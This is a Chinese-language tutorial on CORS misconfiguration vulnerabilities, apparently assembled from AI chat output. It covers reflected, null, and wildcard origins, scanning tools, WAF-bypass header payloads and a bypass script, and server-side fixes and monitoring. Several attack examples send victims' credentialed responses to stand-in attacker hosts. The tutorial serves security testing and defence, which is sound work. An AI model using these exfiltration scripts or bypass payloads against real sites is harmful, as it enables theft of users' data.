一、CORS基礎(chǔ)概念
1.1 什么是CORS?
CORS(Cross-Origin Resource Sharing,跨源資源共享)是一種瀏覽器機制,它允許網(wǎng)頁從不同源(域名、協(xié)議或端口)請求資源。這是一個安全功能,用于防止惡意網(wǎng)站未經(jīng)授權(quán)訪問其他網(wǎng)站的敏感數(shù)據(jù)。
1.2 CORS的工作原理
CORS通過一系列HTTP頭部來實現(xiàn)跨域訪問控制:
-
Origin:請求頭,指示請求來源 -
Access-Control-Allow-Origin:響應(yīng)頭,指定允許訪問的源 -
Access-Control-Allow-Credentials:響應(yīng)頭,指示是否允許發(fā)送Cookie -
Access-Control-Allow-Methods:響應(yīng)頭,指定允許的HTTP方法 -
Access-Control-Allow-Headers:響應(yīng)頭,指定允許的請求頭
二、CORS配置錯誤類型及危害
2.1 Origin反射漏洞
漏洞描述
當(dāng)服務(wù)器簡單地將請求中的Origin頭部值反射到Access-Control-Allow-Origin響應(yīng)頭中時,就會產(chǎn)生此漏洞。這是一個非常危險的配置錯誤,因為它允許任何源都能訪問該資源。
漏洞危害
- 允許攻擊者從任意域名訪問受害者的敏感信息
- 可能導(dǎo)致用戶數(shù)據(jù)泄露
- 可能導(dǎo)致會話劫持
- 可能導(dǎo)致API密鑰等敏感信息泄露
攻擊示例
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
2.2 Null Origin漏洞
漏洞描述
當(dāng)服務(wù)器允許來自null Origin的請求時,攻擊者可以通過特殊方式(如使用data URI方案)來生成具有null Origin的請求。
漏洞危害
- 繞過CORS限制
- 訪問受保護的API端點
- 可能導(dǎo)致敏感數(shù)據(jù)泄露
攻擊示例
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
2.3 通配符Origin漏洞
漏洞描述
當(dāng)服務(wù)器配置為允許所有源訪問(使用*通配符)且不需要身份驗證時,可能導(dǎo)致內(nèi)部API暴露。
漏洞危害
- 允許未經(jīng)身份驗證的訪問
- 內(nèi)部API可能被外部訪問
- 敏感數(shù)據(jù)可能被未授權(quán)獲取
注意事項
- 使用通配符(*)時,瀏覽器不會發(fā)送憑證(cookies)
-
https://*.example.com這樣的通配符是無效的
2.4 信任源XSS漏洞利用
漏洞描述
即使實施了嚴(yán)格的源白名單,如果在受信任的源上存在XSS漏洞,攻擊者仍可以注入惡意代碼來繞過CORS限制。
漏洞危害
- 通過受信任域名繞過CORS限制
- 可能導(dǎo)致完整的數(shù)據(jù)泄露
- 可能實現(xiàn)橫向攻擊
攻擊路徑
https://trusted-origin.example.com/?xss=<script>[CORS攻擊載荷]</script>
2.5 Origin擴展漏洞
漏洞描述
由于服務(wù)器端正則表達式實現(xiàn)不當(dāng),可能導(dǎo)致Origin驗證被繞過。
常見的兩種場景:
- 前綴匹配不當(dāng)
- 正則表達式中的點號(.)未正確轉(zhuǎn)義
漏洞示例
被攻擊域名:api.example.com
攻擊者域名:evilexample.com 或 apiiexample.com
危害影響
- 繞過域名驗證
- 訪問受保護資源
- 數(shù)據(jù)泄露風(fēng)險
我將更新之前的內(nèi)容,并重點補充漏洞挖掘和WAF繞過方法。以下是修改后的部分內(nèi)容(僅展示新增和修改部分):
三、漏洞挖掘方法
3.1 自動化掃描
1. 工具使用方法
- Corsy使用
# 安裝
git clone https://github.com/s0md3v/Corsy.git
cd Corsy
pip3 install -r requirements.txt
# 基本掃描
python3 corsy.py -u https://target.com
# 批量掃描
python3 corsy.py -i urls.txt
# 指定自定義頭部
python3 corsy.py -u https://target.com -H "Cookie: session=xxx"
- CORScanner配置
# 安裝
git clone https://github.com/chenjj/CORScanner.git
cd CORScanner
pip3 install -r requirements.txt
# 掃描單個URL
python cors_scan.py -u https://target.com
# 掃描特定端口
python cors_scan.py -u https://target.com -p 8080,8443
2. 自定義掃描腳本
import requests
def test_cors(url):
headers = {
'Origin': 'https://evil.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
try:
response = requests.get(url, headers=headers)
cors_header = response.headers.get('Access-Control-Allow-Origin')
if cors_header == 'https://evil.com':
print(f"[VULNERABLE] {url} reflects Origin")
elif cors_header == '*':
print(f"[POTENTIAL] {url} allows all origins")
except Exception as e:
print(f"Error testing {url}: {str(e)}")
3.2 手動測試方法
1. Burp Suite測試步驟
- 基礎(chǔ)測試
GET /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
- null源測試
GET /api/data HTTP/1.1
Host: target.com
Origin: null
- 子域測試
GET /api/data HTTP/1.1
Host: target.com
Origin: https://subdomain.target.com
2. 常見測試載荷
// 測試腳本1 - 基礎(chǔ)CORS測試
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
fetch('https://attacker.com/log?data=' + btoa(xhr.responseText));
}
};
xhr.open('GET', 'https://target.com/api/sensitive', true);
xhr.withCredentials = true;
xhr.send();
// 測試腳本2 - PostMessage測試
window.addEventListener('message', function(event) {
if (event.origin !== "https://trusted-origin.com")
return;
var xhr = new XMLHttpRequest();
xhr.open('GET', event.data.url, true);
xhr.withCredentials = true;
xhr.send();
});
四、WAF繞過技術(shù)
4.1 Origin Header變形
1. 特殊字符注入
Origin: https://evil.com%0d%0a
Origin: https://evil.com%0a
Origin: https://evil.com%09
2. 編碼變換
# Unicode編碼
Origin: https://evil.com%u0000
Origin: https://evil.com%u0009
# 雙重編碼
Origin: https://evil.com%252f
3. 協(xié)議變種
Origin: http://evil.com
Origin: https://evil.com
Origin: file://evil.com
Origin: chrome-extension://evil.com
4.2 請求方法變換
# 使用非標(biāo)準(zhǔn)HTTP方法
CUSTOM /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
# 使用WebDAV方法
PROPFIND /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
4.3 高級繞過技術(shù)
1. 請求頭組合
Origin: https://evil.com
X-Forwarded-Host: target.com
X-Original-URL: /api/data
X-Rewrite-URL: /api/data
2. 路徑混淆
# 使用../進行路徑混淆
GET /safe/../../api/data HTTP/1.1
Origin: https://evil.com
# 使用Unicode字符進行混淆
GET /api/dat%u0061 HTTP/1.1
Origin: https://evil.com
3. JSON污染
{
"origin": {
"toString": "https://evil.com",
"valueOf": "https://evil.com"
}
}
4.4 自動化繞過腳本
import requests
import urllib.parse
def waf_bypass_test(url):
bypass_payloads = [
{'Origin': 'https://evil.com%0d%0a'},
{'Origin': 'https://evil.com%09'},
{'Origin': 'https://evil.com%0a'},
{'Origin': 'https://evil.com%u0000'},
{'Origin': 'https://evil.com%252f'},
{
'Origin': 'https://evil.com',
'X-Forwarded-Host': 'target.com'
},
{
'Origin': 'https://evil.com',
'X-Original-URL': '/api/data'
}
]
for payload in bypass_payloads:
try:
response = requests.get(url, headers=payload)
if 'Access-Control-Allow-Origin' in response.headers:
print(f"[POTENTIAL BYPASS] Found with payload: {payload}")
print(f"Response headers: {response.headers}")
except Exception as e:
print(f"Error with payload {payload}: {str(e)}")
4.5 繞過檢測要點
-
響應(yīng)頭分析
- 檢查是否存在非標(biāo)準(zhǔn)CORS頭
- 分析頭部值的處理邏輯
- 尋找頭部注入點
-
請求方法變化
- 測試非標(biāo)準(zhǔn)HTTP方法
- 利用HTTP方法覆蓋技術(shù)
- 探索WebDAV方法支持
-
協(xié)議利用
- 測試不同協(xié)議支持
- 利用協(xié)議降級攻擊
- 探索協(xié)議切換漏洞
-
緩存投毒
- 利用CDN緩存特性
- 探索緩存鍵計算邏輯
- 實施緩存欺騙攻擊
通過以上方法,可以系統(tǒng)地測試CORS配置,發(fā)現(xiàn)潛在漏洞,并嘗試?yán)@過WAF防護。在實際測試中,建議結(jié)合多種方法,并保持對新技術(shù)的關(guān)注。同時,請確保在授權(quán)的情況下進行測試,遵守相關(guān)法律法規(guī)。
我將添加一個關(guān)于CORS漏洞的防御和修復(fù)措施的詳細章節(jié):
五、CORS漏洞防御與修復(fù)措施
5.1 服務(wù)器端配置
1. Nginx配置示例
# 嚴(yán)格的CORS配置
location /api/ {
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' 'https://trusted-domain.com';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
add_header 'Access-Control-Max-Age' 1728000;
add_header 'Content-Type' 'text/plain charset=UTF-8';
add_header 'Content-Length' 0;
return 204;
}
if ($http_origin = 'https://trusted-domain.com') {
add_header 'Access-Control-Allow-Origin' 'https://trusted-domain.com';
add_header 'Access-Control-Allow-Credentials' 'true';
}
}
2. Apache配置示例
<IfModule mod_headers.c>
# 設(shè)置允許的源
SetEnvIf Origin "^https?://(.*\.)?trusted-domain\.com$" ALLOW_ORIGIN=$0
Header set Access-Control-Allow-Origin %{ALLOW_ORIGIN}e env=ALLOW_ORIGIN
# 設(shè)置允許的方法
Header set Access-Control-Allow-Methods "GET, POST, OPTIONS"
# 設(shè)置允許的頭部
Header set Access-Control-Allow-Headers "Content-Type, Authorization"
# 允許發(fā)送憑證
Header set Access-Control-Allow-Credentials "true"
</IfModule>
5.2 應(yīng)用程序防護
1. Node.js Express框架配置
const cors = require('cors');
// 基礎(chǔ)配置
const corsOptions = {
origin: function (origin, callback) {
const allowedOrigins = ['https://trusted-domain.com', 'https://admin.trusted-domain.com'];
if (!origin || allowedOrigins.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('不允許的CORS訪問'));
}
},
methods: ['GET', 'POST', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400
};
app.use(cors(corsOptions));
// 添加額外的安全頭部
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
next();
});
2. Python Flask配置
from flask import Flask
from flask_cors import CORS
app = Flask(__name__)
cors_config = {
'origins': ['https://trusted-domain.com'],
'methods': ['GET', 'POST', 'OPTIONS'],
'allow_headers': ['Content-Type', 'Authorization'],
'supports_credentials': True,
'max_age': 86400
}
CORS(app, resources={
r"/api/*": cors_config
})
# 添加安全中間件
@app.after_request
def add_security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
return response
5.3 安全檢查清單
1. 配置審查
- 驗證所有允許的源是否都是必需的
- 檢查是否正確實現(xiàn)了預(yù)檢請求(OPTIONS)處理
- 確保憑證設(shè)置的安全性
- 驗證允許的HTTP方法是否最小化
- 檢查緩存控制設(shè)置
2. 實施步驟
1. 源驗證
- 實現(xiàn)嚴(yán)格的源白名單
- 避免使用通配符 (*)
- 驗證所有子域
2. 頭部控制
- 限制允許的請求頭
- 設(shè)置適當(dāng)?shù)木彺鏁r間
- 實現(xiàn)安全相關(guān)的HTTP頭部
3. 方法限制
- 只允許必需的HTTP方法
- 實現(xiàn)OPTIONS預(yù)檢請求處理
- 驗證非標(biāo)準(zhǔn)方法的處理
4. 錯誤處理
- 實現(xiàn)合適的錯誤響應(yīng)
- 避免信息泄露
- 記錄異常訪問
5.4 監(jiān)控和日志
1. 日志配置示例
import logging
from datetime import datetime
def setup_cors_logging():
logger = logging.getLogger('cors_security')
logger.setLevel(logging.INFO)
handler = logging.FileHandler('cors_security.log')
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
handler.setFormatter(formatter)
logger.addHandler(handler)
return logger
def log_cors_request(request, allowed):
logger = setup_cors_logging()
logger.info({
'timestamp': datetime.utcnow().isoformat(),
'origin': request.headers.get('Origin'),
'method': request.method,
'path': request.path,
'allowed': allowed,
'ip': request.remote_addr
})
2. 告警系統(tǒng)實現(xiàn)
def alert_on_suspicious_cors(request_data):
suspicious_patterns = [
r'null\s*origin',
r'evil\.com$',
r'%0[ad]',
r'%u0000'
]
origin = request_data.get('origin', '')
for pattern in suspicious_patterns:
if re.search(pattern, origin, re.I):
send_alert({
'type': 'CORS_SECURITY',
'severity': 'HIGH',
'message': f'Suspicious CORS request detected from {origin}',
'timestamp': datetime.utcnow().isoformat(),
'request_data': request_data
})
5.5 應(yīng)急響應(yīng)流程
-
檢測階段
- 監(jiān)控異常CORS請求
- 分析訪問日志
- 識別攻擊模式
-
響應(yīng)階段
def cors_incident_response(incident): # 立即措施 block_origin(incident['origin']) notify_security_team(incident) # 取證 collect_forensic_data(incident) # 修復(fù) apply_emergency_cors_config() # 報告 generate_incident_report(incident) -
恢復(fù)階段
- 驗證修復(fù)措施
- 更新安全策略
- 加強監(jiān)控措施
- 進行安全培訓(xùn)
-
預(yù)防措施
// 實現(xiàn)請求速率限制 const rateLimit = require('express-rate-limit'); const corsLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15分鐘 max: 100, // 限制每個IP的請求次數(shù) message: '請求頻率過高,請稍后再試' }); app.use('/api/', corsLimiter);
結(jié)論
CORS配置錯誤是一個嚴(yán)重的安全問題,可能導(dǎo)致敏感數(shù)據(jù)泄露、賬戶接管等嚴(yán)重后果。為了防止CORS相關(guān)的安全問題,組織需要:
- 實施嚴(yán)格的源驗證策略
- 正確配置CORS頭部
- 定期進行安全審計
- 使用自動化工具進行持續(xù)監(jiān)控
- 保持對新型攻擊方式的警惕